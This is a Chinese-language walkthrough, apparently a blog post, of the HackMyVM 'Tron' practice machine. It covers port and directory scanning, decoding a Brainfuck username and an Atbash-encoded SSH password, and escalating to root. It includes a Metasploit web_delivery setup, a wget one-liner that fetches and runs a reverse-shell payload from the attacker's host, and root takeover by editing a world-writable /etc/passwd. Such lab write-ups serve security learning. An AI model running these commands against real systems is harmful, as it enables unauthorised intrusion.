当前位置:网站首页>HackMyvm靶机系列(7)-Tron
HackMyvm靶机系列(7)-Tron
2022-07-06 09:22:00 【月应知我意】
一、信息收集
如图,老方法,先来一波网段扫描,探测存活主机
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
然后使用nmap扫描端口,探测开放的服务,这里发现目标主机开放了ssh服务和http服务
nmap -sC -sV -p- 192.168.200.168
访问目标的http服务,看到如下结果。

然后右键查看源代码,发现下面字符串,看上去像是账号和密码。

尝试使用下面密码登录目标主机,但是失败了。
kzhh:SbWP9q94ZtE9qD那就来一波目录扫描吧!看看会不会有什么新的发现
gobuster dir -u http://192.168.200.168/ -w /tools/dict/directory-list-2.3-medium.txt -x php,html,txt,zip,7z,gz,bak -t 30
得到的文件和目录还不少。挨个访问看看。
经过访问,只有在/MCP目录下发现了有效信息
如图,有一个tron.txt文件。

访问这个文件看看。
该文件中有一段对话,最下方还有一长串字符串。

将对话翻译看看

最下面这串字符串看上去是base64编码,拿去解码的到如下结果,这看上去也像是一种编码,但是这编码真没见过。
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.----.-----------.++++++++++++++++++++++++.--------------------.+++++++++++++.
于是百度一波,发现这是barinfuck编码
Brainfuck解释器
Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]

解码得到的结果为player,结合上面的对话,这很有可能是一个用户名。
然后继续访问/MCP/目录下的文件,发现一个文件内容如下。
plaintext ---明文
ciphertext---密文
猜测这里的密码很有可能用了替换加密。这个加密的密码很有可能是之前在网页源代码中看到的注释。
kzhh:SbWP9q94ZtE9qD
二、漏洞利用
如图,对密文进行解密。

获得密码
pass:SyWP9j94ZgE9jD脚本如下:
#!/usr/bin/python
# -*- coding: utf-8 -*-
str1 = "abcdefghijklmnopqrstuvwxyz"
str2 = "zyxwvutsrqponmlkjihgfedcba"
ciphertext = "kzhh:SbWP9q94ZtE9qD"
plaintext = ""
for i,c in enumerate(ciphertext):
if c in str2:
index = str2.find(c)
plaintext += str1[index]
else:
plaintext += c
print(plaintext)使用得到的用户名密码登录目标主机。
ssh [email protected]拿到第一个flag

三、权限提升
输入如下命令
sudo -l
既然不行,那就试试suid和sgid提权吧
输入如下命令
find / -prem -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null结果如图所示,没有发现能够又来提权的文件。

既然这些都不行,那就上传一个脚本,收集一下更为详细的信息吧。
这里我们可以通过nc、curl、wget配合http服务直接在目标机上下载文件,但是我这里最近看到msf上的这个模块,感觉挺有意思的,可以一条命令直接上线msf,我这就使用一波msf啦。
use exploit/multi/script/web_delivery #这个模块可以通过直接执行命令上线msf
show target #查看目标
set target 7
set payload payload/linux/x86/meterpreter/reverse_tcp #设置payload
set srvport 6666
set lhost 192.168.200.218
run
然后运行模块,会得到下面这条命令

wget -qO 3gsWPNx9 --no-check-certificate http://192.168.200.218:6666/3vM41a0iXQ; chmod +x 3gsWPNx9; ./3gsWPNx9& disown在目标主机上执行命令

如图,成功上线MSF

上传信息收集脚本到目标机
upload /home/kali/LinEnum.sh
使用脚本收集到的信息很多,我就不一一截图了。
如图,这里发现/etc/passwd文件任何用户是可读可写的。
那么我们是不是可以通过修改/etc/passwd文件来达到提权的效果呢?

linux里与密码相关的文件有两个,/etc/passwd,/etc/shadow
前者存放了一些用户信息,后者存放加密后的密码。但是这里面有个特点,如果/etc/passwd中存放了密码,那么即使这个密码与shadow中不同,但是会优先使用/etc/passwd中的密码。
如图,输入如下命令生成加密后的密码
openssl passwd
使用msf更改/etc/passwd文件,将root密码修改如下。
edit /etc/passwd
这里的root没有开放远程连接,直接在kali上连接会失败。
我们在本地切换到root用户。
如图,成功将权限提升至root,获得第二个flag

边栏推荐
- Miscellaneous talk on May 27
- 简述xhr -xhr的基本使用
- UGUI—Text
- Mode 1 two-way serial communication is adopted between machine a and machine B, and the specific requirements are as follows: (1) the K1 key of machine a can control the ledi of machine B to turn on a
- 7-7 7003 组合锁(PTA程序设计)
- 7-11 机工士姆斯塔迪奥(PTA程序设计)
- (原创)制作一个采用 LCD1602 显示的电子钟,在 LCD 上显示当前的时间。显示格式为“时时:分分:秒秒”。设有 4 个功能键k1~k4,功能如下:(1)k1——进入时间修改。
- Write a program to simulate the traffic lights in real life.
- A comprehensive summary of MySQL transactions and implementation principles, and no longer have to worry about interviews
- Canvas foundation 1 - draw a straight line (easy to understand)
猜你喜欢

. Net6: develop modern 3D industrial software based on WPF (2)

Strengthen basic learning records

A piece of music composed by buzzer (Chengdu)

Mixlab unbounded community white paper officially released

UGUI—Text

实验六 继承和多态

4. Branch statements and loop statements

HackMyvm靶机系列(5)-warez
![[hand tearing code] single case mode and producer / consumer mode](/img/b3/243843baaf0d16edeab09142b4ac09.png)
[hand tearing code] single case mode and producer / consumer mode

Nuxtjs quick start (nuxt2)
随机推荐
透彻理解LRU算法——详解力扣146题及Redis中LRU缓存淘汰
实验四 数组
Programme de jeu de cartes - confrontation homme - machine
[hand tearing code] single case mode and producer / consumer mode
1. Preliminary exercises of C language (1)
深度强化文献阅读系列(一):Courier routing and assignment for food delivery service using reinforcement learning
Miscellaneous talk on May 14
Miscellaneous talk on May 27
受检异常和非受检异常的区别和理解
[the Nine Yang Manual] 2020 Fudan University Applied Statistics real problem + analysis
Relationship between hashcode() and equals()
仿牛客技术博客项目常见问题及解答(一)
Strengthen basic learning records
Force deduction 152 question multiplier maximum subarray
Using qcommonstyle to draw custom form parts
1. First knowledge of C language (1)
Leetcode.3 无重复字符的最长子串——超过100%的解法
【MySQL-表结构与完整性约束的修改(ALTER)】
[modern Chinese history] Chapter V test
Canvas foundation 1 - draw a straight line (easy to understand)